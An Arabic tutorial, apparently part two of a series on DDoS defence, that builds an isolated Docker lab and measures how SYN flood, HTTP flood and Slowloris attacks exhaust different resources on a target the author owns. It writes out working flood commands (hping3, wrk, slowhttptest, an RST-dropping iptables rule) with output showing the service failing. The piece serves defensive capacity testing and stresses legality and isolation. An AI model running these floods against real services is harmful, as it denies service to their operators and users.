في الجزء الأول شرحنا أنواع هجمات DDoS وأي مورد يستنزفه كل نوع، وقلنا إن من يعرف نقطة انكسار خدمته يعرف مقدار الحماية التي يحتاجها بالضبط. وفي هذا الجزء ننتقل من الفهم إلى القياس، فنبني هدفاً نملكه داخل شبكة معزولة تماماً، ونطلق عليه كل نوع بمعدلات منخفضة، ونرى بأنفسنا أي مورد يسقط أولاً. والفرق بين ما نفعله هنا وبين الاعتداء هو الإذن والعزل: الهدف لنا، والشبكة مقطوعة عن الإنترنت، والمعدل منخفض، ولا يخرج شيء إلى أحد. ولن نذكر أي خدمة هجوم مؤجر ولا طريقة استعمالها، لأن غرض القياس أن تدافع عن خدمتك، لا أن تؤذي غيرك.
وهذا المقال فرع من دليل اختبار الأحمال والضغط، فالأساسيات العامة لتوليد الحمل ومقاييسه وبيئة الاختبار مشروحة هناك، ولن نكررها، وإنما سوف نركز هنا على أنماط DDoS تحديداً والأداة المناسبة لكل نمط.
وسوف نناقش في هذا المقال ما يلي:
- القانون أولاً: لا تختبر إلا ما تملك، وسياسات المزودين قبل أي اختبار.
- الأدوات وما يحاكيه كل منها: k6 وwrk وhping3 وslowhttptest.
- بناء مختبر معزول بـ Docker: هدف نملكه، وشبكة بلا منافذ ولا إنترنت.
- إغراق SYN Flood ومعضلة التزوير داخل الشبكة الافتراضية.
- إغراق الطبقة السابعة Application Flood، وأي مورد يسقط أولاً.
- هجوم Slowloris البطيء، وكيف يسقط الخدمة بحركة ضئيلة.
القانون أولاً: لا تختبر إلا ما تملك
قبل أي أمر في الطرفية، القاعدة الأولى أن اختبار الإغراق على خدمة لا تملكها، أو على خدمة سحابية دون اتباع سياسة المزود، عمل غير قانوني ومخالف لشروط الخدمة، حتى لو كانت نيتك الاختبار لا الإيذاء، لأن الأثر على الطرف الآخر واحد ولأن المزود لا يعرف نيتك. ولهذا حتى على سيرفرك المستأجر عند مزود سحابي عليك أن تقرأ سياسته، فالمزودون يتعاملون مع اختبارات الإغراق بحذر شديد:
- AWS: تسمح باختبار محاكاة DDoS ولكن بشروط صارمة، فبحسب سياسة محاكاة DDoS المعلنة يجب أن ينفذه شريك معتمد من قائمة محددة، وأن يكون الهدف مشتركاً في AWS Shield Advanced، وألا يتجاوز حجم الحركة 20 جيجابت في الثانية، ولا 50 ألف طلب في الثانية، ومنع محاكاة هجمات التضخيم، ولـ AWS أن توقف الاختبار في أي لحظة.
- Azure: أوضح، فبحسب صفحة اختبار الاختراق في Azure فإن اختبار حجب الخدمة بكل أنواعه ممنوع منعاً باتاً، وإذا أردت اختبار صمودك فعليك باستخدام شركاء محاكاة DDoS المعتمدين الذين تذكرهم الصفحة.
- مزود ال CDN أو جدار الحماية أمام موقعك: قد يحظر عنوانك أو حسابك إذا رأى حركة تشبه الهجوم، فاقرأ سياسة الاختبار المقبول لديه قبل أن توجه إليه أي حمل كبير.
والنتيجة العملية من هذا كله أن أسلم بيئة لاختبار أنماط DDoS بحرية هي بيئة محلية معزولة على جهازك، لا تمس أي مزود ولا أي طرف، وهي ما سوف نبنيه الآن.
الأدوات وما يحاكيه كل منها
لكل نمط هجوم أداة تحاكيه، ومن المهم أن تعرف ما الذي تقيسه كل أداة حتى لا تختبر مورداً وتظن أنك اختبرت غيره. والجدول التالي يلخص الأدوات التي سوف نستعملها:
| الأداة | تحاكي | المورد المستهدف | الوحدة |
|---|---|---|---|
| k6 وLocust | حمل طلبات واقعي بسيناريو كامل | عمال التطبيق وقاعدة البيانات | rps |
| wrk وoha | إغراق HTTP سريع من سطر الأوامر | عمال التطبيق والاتصالات | rps |
| hping3 | حزم TCP مصنوعة يدوياً مثل SYN | جدول الاتصالات نصف المفتوحة | pps |
| slowhttptest | هجمات بطيئة مثل Slowloris | الاتصالات المتزامنة في ال Reverse Proxy | اتصالات |
ولاحظ أن k6 هو الأداة التي شرحناها في دليل اختبار الأحمال، وهو الأنسب لقياس السعة الحقيقية بسيناريو يشبه المستخدم، أما wrk فأبسط وأسرع في الإغراق المباشر، وhping3 ينزل إلى طبقة الحزم لصنع SYN، وslowhttptest متخصص في الهجمات البطيئة. وكلها أدوات اختبار مشروعة تستعمل ضد ما تملك، وهي نفسها التي يسيء غيرها استعمالها، فالأداة واحدة والفرق في الإذن والهدف.
بناء مختبر معزول بـ Docker على جهازك
سوف نبني ثلاثة أجزاء في شبكة Docker واحدة: هدف nginx يمرر إلى تطبيق بطيء، ومولد حمل فيه الأدوات، وكلها في شبكة عليها internal: true التي تقطع الإنترنت عن المختبر، وبلا أي منفذ منشور إلى جهازك، فلا يصل إلى المختبر أحد ولا يخرج منه شيء. والتطبيق الهدف فيه ثمانية عمال فقط، وكل طلب يستغرق نحو 200 مللي ثانية ليحاكي عملاً حقيقياً، وnginx أمامه بعدد اتصالات صغير، وهذا يجعل الاستنزاف يظهر بمعدلات منخفضة جداً دون أن نحتاج حركة كبيرة. والصورة التالية تبين بنية المختبر:

ملفات المختبر في مجلد lab/ بجوار هذا المقال: ملف docker-compose.yml، ومجلد app للتطبيق البطيء، ومجلد target لـ nginx، ومجلد gen للأدوات. وملف Compose هو التالي:
services:
app:
build: ./app
container_name: lab-ddos-app
networks: [labnet]
target:
build: ./target
container_name: lab-ddos-nginx
cap_add: [NET_ADMIN, NET_RAW]
networks: [labnet]
gen:
build: ./gen
container_name: lab-ddos-gen
cap_add: [NET_ADMIN, NET_RAW]
command: sleep infinity
networks: [labnet]
networks:
labnet:
name: lab-ddos-net
driver: bridge
internal: trueوالتطبيق البطيء ملف Python صغير يحد عدد عماله بثمانية عبر Semaphore، وينام 200 مللي ثانية في كل طلب:
import time, threading, http.server, socketserver
SEM = threading.Semaphore(8) # التطبيق فيه 8 عمال فقط
class H(http.server.BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def do_GET(self):
with SEM:
time.sleep(0.2)
body = b"ok\n"
self.send_response(200); self.send_header("Content-Length", str(len(body))); self.end_headers()
self.wfile.write(body)
def log_message(self, *a): pass
class TS(socketserver.ThreadingTCPServer):
allow_reuse_address = True; daemon_threads = True
TS(("0.0.0.0", 8080), H).serve_forever()نشغل المختبر ونتأكد أن الهدف يرد وأن الشبكة معزولة فعلاً:
docker compose -p lab-ddos up -d --build
# الهدف يرد من داخل الشبكة:
docker compose -p lab-ddos exec gen curl -s -o /dev/null -w "status=%{http_code}\n" http://lab-ddos-nginx/
# والإنترنت مقطوع (يجب أن يفشل):
docker compose -p lab-ddos exec gen curl -s -m 5 -o /dev/null -w "%{http_code}\n" http://example.com || echo "no-internet (good)"والمخرج سوف يكون كما يلي، وهو يؤكد أن الهدف يعمل وأن المختبر لا يصل إلى الإنترنت:
status=200
000
no-internet (good)إغراق SYN Flood ومعضلة التزوير
نبدأ بإغراق SYN. والطريقة التي يستعملها المهاجم الحقيقي تزور عنوان المصدر بعناوين عشوائية حتى لا يرد عليه الهدف ويبقى محتفظاً بالاتصالات نصف المفتوحة. ولكن هنا نصطدم بحد من حدود البيئة الافتراضية: فالمحول الافتراضي في Docker Desktop على نظام WSL2 يسقط أي حزمة عنوان مصدرها لا يطابق عنوان ال Container، أي أنه يمنع التزوير أصلاً. وقد تأكدنا من ذلك بأن عدادات النواة على الهدف (مثل SyncookiesSent وListenDrops) لم تتحرك إطلاقاً أثناء إرسال حزم بعناوين مزورة، أي أن الحزم لم تصل. وهذه في الحقيقة حماية مفيدة ضد التزوير، ولكنها تمنعنا من محاكاة الإغراق المزور في هذا المختبر، فلا تتوقع أن ترى إغراق SYN المزور على Docker Desktop.
ولكي نرى أثر الاتصالات نصف المفتوحة دون تزوير، نستعمل حيلة مشروعة في المختبر: نجعل مولد الحمل يسقط حزم RST الخارجة منه، فعندما يرسل hping3 حزمة SYN بعنوان المولد الحقيقي ويرد الهدف بـ SYN-ACK، لا يرد المولد بـ RST (لأننا أسقطناه) ولا يكمل المصافحة، فيبقى الهدف محتفظاً بالاتصال نصف مفتوح حتى تنتهي مهلته. وبهذا نملأ جدول الاتصالات نصف المفتوحة من عنوان حقيقي واحد. ونقيس أثناء ذلك عدد الاتصالات في حالة SYN_RECV على الهدف، ونسبة نجاح اتصالات حقيقية موازية:
# على المولد: أسقط حزم RST الخارجة حتى تبقى الاتصالات نصف مفتوحة على الهدف
docker compose -p lab-ddos exec gen iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP
# ابدأ إغراق SYN بعنوان حقيقي، نحو 1000 حزمة في الثانية لمدة 12 ثانية
docker compose -p lab-ddos exec -d gen bash -c 'timeout 12 hping3 -S -p 80 -i u1000 lab-ddos-nginx'
# وفي أثناء ذلك عد الاتصالات نصف المفتوحة على الهدف:
docker compose -p lab-ddos exec target sh -c "awk 'NR>1 && \$4==\"03\"{c++} END{print c+0}' /proc/net/tcp"وعند قياس الحالة قبل الإغراق وأثناءه وبعده، كانت النتيجة كما يلي في تجربتنا، حيث legit هي محاولة 25 اتصالاً حقيقياً:
BEFORE: SYN_RECV=0 legit ok=25 fail=0
DURING: SYN_RECV=511 legit ok=20 fail=5
AFTER : SYN_RECV=0 legit ok=25 fail=0في الإعداد أعلاه لاحظ التالي: قبل الإغراق لا توجد اتصالات نصف مفتوحة وكل الاتصالات الحقيقية تنجح، وأثناء الإغراق ارتفع عدد الاتصالات نصف المفتوحة إلى 511، وفشل خمسة من كل خمسة وعشرين اتصالاً حقيقياً، أي أن المورد الذي سقط هو جدول الاتصالات لا سعة الخط، فالحركة بالكاد بضع كيلوبتات. وبعد توقف الإغراق عاد كل شيء. وسوف نرى في الجزء الرابع كيف توقف SYN Cookies هذا تماماً بأرقام قبل وبعد.
إغراق الطبقة السابعة Application Flood
ننتقل إلى إغراق HTTP كامل بأداة wrk. ونوجهه إلى المسار الذي يمر إلى التطبيق البطيء ذي الثمانية عمال، فهذا يحاكي المسار الغالي في تطبيق حقيقي. ونقيس نسبة نجاح طلبات حقيقية أثناء الإغراق. ولاحظ قبل ذلك نقطة مهمة رأيناها في المختبر: إغراق مسار يرد برد ثابت فوري لم يسقط الخدمة، فقد بلغ 5143 طلباً في الثانية دون أن يتأثر الزوار الحقيقيون، لأن الرد الرخيص لا يستنزف شيئاً. وهذا يؤكد قاعدة الجزء الأول: المسار الغالي هو الهدف، لا أي مسار.
# إغراق HTTP على المسار الغالي، 4 خيوط و120 اتصالا لمدة 15 ثانية
docker compose -p lab-ddos exec -d gen bash -c 'wrk -t4 -c120 -d15s --timeout 3s http://lab-ddos-nginx/ >/tmp/wrk.out 2>&1'
# وفي أثناء ذلك: 15 طلبا حقيقيا ونعد الناجح
docker compose -p lab-ddos exec gen bash -c 'ok=0;fail=0; for i in $(seq 1 15); do t=$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://lab-ddos-nginx/); [ "$t" = "200" ] && ok=$((ok+1)) || fail=$((fail+1)); done; echo "ok=$ok fail=$fail"'والمخرج سوف يكون كما يلي:
BEFORE: legit ok=15 fail=0
DURING: legit ok=4 fail=11
AFTER : legit ok=15 fail=0
wrk: 581 requests in 15.08s, Requests/sec: 38.54في الإعداد أعلاه لاحظ التالي: أثناء الإغراق فشل أحد عشر من كل خمسة عشر طلباً حقيقياً، وأن التطبيق لم يتجاوز 38.54 طلباً في الثانية مهما ضغطنا، والسبب أن ثمانية عمال، وكل طلب 200 مللي ثانية، يعطيان سقفاً نظرياً نحو أربعين طلباً في الثانية، وهذا هو المورد الذي سقط: عمال التطبيق، لا الخط ولا nginx. ولهذا لا تفيد هنا زيادة سعة الخط، وإنما حماية التطبيق نفسه بالتخزين المؤقت وحد المعدل، كما سوف نرى في الجزء الرابع.
هجوم Slowloris البطيء
آخر نمط هو الهجوم البطيء، ونستعمل له slowhttptest في نمط Slowloris: يفتح ستين اتصالاً ويرسل ترويسات ناقصة ببطء دون أن يكملها، ليبقى nginx محتفظاً بها منتظراً بقيتها. ولاحظ أن المعدل هنا منخفض جداً، ثلاثون اتصالاً في الثانية وحركة بالكيلوبتات، ومع ذلك يكفي لأن nginx في مختبرنا بعدد اتصالات 16:
docker compose -p lab-ddos exec -d gen bash -c \
'slowhttptest -c 60 -H -i 10 -r 30 -t GET -u http://lab-ddos-nginx/ -x 24 -p 3 -l 20 >/tmp/slow.out 2>&1'
# قياس 15 طلبا حقيقيا أثناء الهجوم
docker compose -p lab-ddos exec gen bash -c 'ok=0;fail=0; for i in $(seq 1 15); do curl -s -m 3 -o /dev/null http://lab-ddos-nginx/ && ok=$((ok+1)) || fail=$((fail+1)); done; echo "ok=$ok fail=$fail"'والمخرج سوف يكون كما يلي، ويذكر slowhttptest نفسه أن الخدمة أصبحت غير متاحة:
BEFORE: legit ok=15 fail=0
DURING: legit ok=0 fail=15 (slowhttptest: service available: NO)
AFTER : legit ok=15 fail=0في الإعداد أعلاه لاحظ التالي: سقطت الخدمة تماماً، صفر من خمسة عشر طلباً حقيقياً نجح، بحركة لا تذكر في مقاييس الحجم، وهذا أخطر ما في الهجوم البطيء: لا يظهر في bps ولا في pps، وإنما في عدد الاتصالات المعلقة فقط. والمورد الذي سقط هو اتصالات ال Reverse Proxy المتزامنة. وسوف نرى في الجزء الرابع كيف يوقفه ضبط مهلة الترويسات وحد الاتصالات لكل عنوان في سطرين.
أي مورد يسقط أولاً؟
وبهذا نكون قد رأينا بأنفسنا أن لكل نمط مورداً مختلفاً يسقط، وهذا ما يحدد الدفاع المناسب:
| النمط | الأداة | المورد الذي سقط | ما لاحظناه |
|---|---|---|---|
| إغراق SYN | hping3 | جدول الاتصالات نصف المفتوحة | SYN_RECV ارتفع إلى 511، وفشل 5 من 25 |
| إغراق L7 | wrk | عمال التطبيق | سقف 38.54 طلب/ث، وفشل 11 من 15 |
| Slowloris | slowhttptest | اتصالات ال Reverse Proxy | فشل 15 من 15، والخدمة غير متاحة |
تنظيف المختبر
نحذف ما أنشأناه بالاسم فقط، ولا نستعمل أي أمر تنظيف شامل حتى لا نمس Containers مشاريع أخرى:
docker compose -p lab-ddos down -v --rmi localالخلاصة
- اختبار الإغراق على ما لا تملك، أو على خدمة سحابية دون سياسة المزود، غير قانوني ومخالف للشروط، وAWS تشترط شريكاً معتمداً وحدوداً، وAzure تمنعه وتحيل إلى شركاء محاكاة.
- لكل نمط أداة: k6 وwrk للطلبات، وhping3 لحزم SYN، وslowhttptest للهجمات البطيئة، والفرق عن الاعتداء هو الإذن والعزل.
- المختبر شبكة Docker عليها internal: true بلا منافذ ولا إنترنت، وهدف نملكه بموارد صغيرة ليظهر الاستنزاف بمعدلات منخفضة.
- التزوير لا يعمل على Docker Desktop لأن المحول الافتراضي يسقط العناوين المزورة، فحاكينا الاتصالات نصف المفتوحة بإسقاط RST من المولد.
- كل نمط أسقط مورداً مختلفاً: إغراق SYN جدول الاتصالات، وإغراق L7 عمال التطبيق عند 38.54 طلب/ث، وSlowloris اتصالات ال Reverse Proxy حتى توقفت الخدمة.
وفي الجزء الثالث سوف نتناول الدفاع من حيث المبدأ: طبقات الحماية من الشبكة الأمامية إلى ضبط النواة، ومتى لا يكفي سيرفرك وحده مهما فعلت.
دليلكيف تعمل هجمات حجب الخدمة DDoS وأنواعهاشرح أنواع هجمات DDoS من الإغراق الحجمي إلى هجمات الطبقة السابعة، وما الذي يستنزفه كل نوع ولماذا تحدث.
دليلطبقات الحماية من هجمات DDoS وأين تقف كل طبقةكيف تبني دفاعاً بالطبقات ضد DDoS من المزود وال CDN إلى ضبط النواة والتخزين المؤقت، ومتى لا يكفي سيرفرك وحده.
دليلأدوات الحماية من DDoS بين الخدمات المدارة وسيرفركماذا تقدم خدمات الحماية المدارة وبكم، وكيف تبني طبقة دفاع على سيرفرك وتقيس أثرها قبل الهجوم وبعده.سجل التحديثات
- أكتوبر 2026: كتابة المقال، والتجربة داخل شبكة Docker معزولة على Docker Engine 29.8.0 ونواة WSL2، بهدف nginx 1.27.5 وتطبيق Python 3.12، ومولد فيه hping3 3.0.0 وslowhttptest 1.8.2 وwrk 4.1.0، وسياسات الاختبار من صفحتي AWS وAzure كما قرئت في 12 أكتوبر 2026.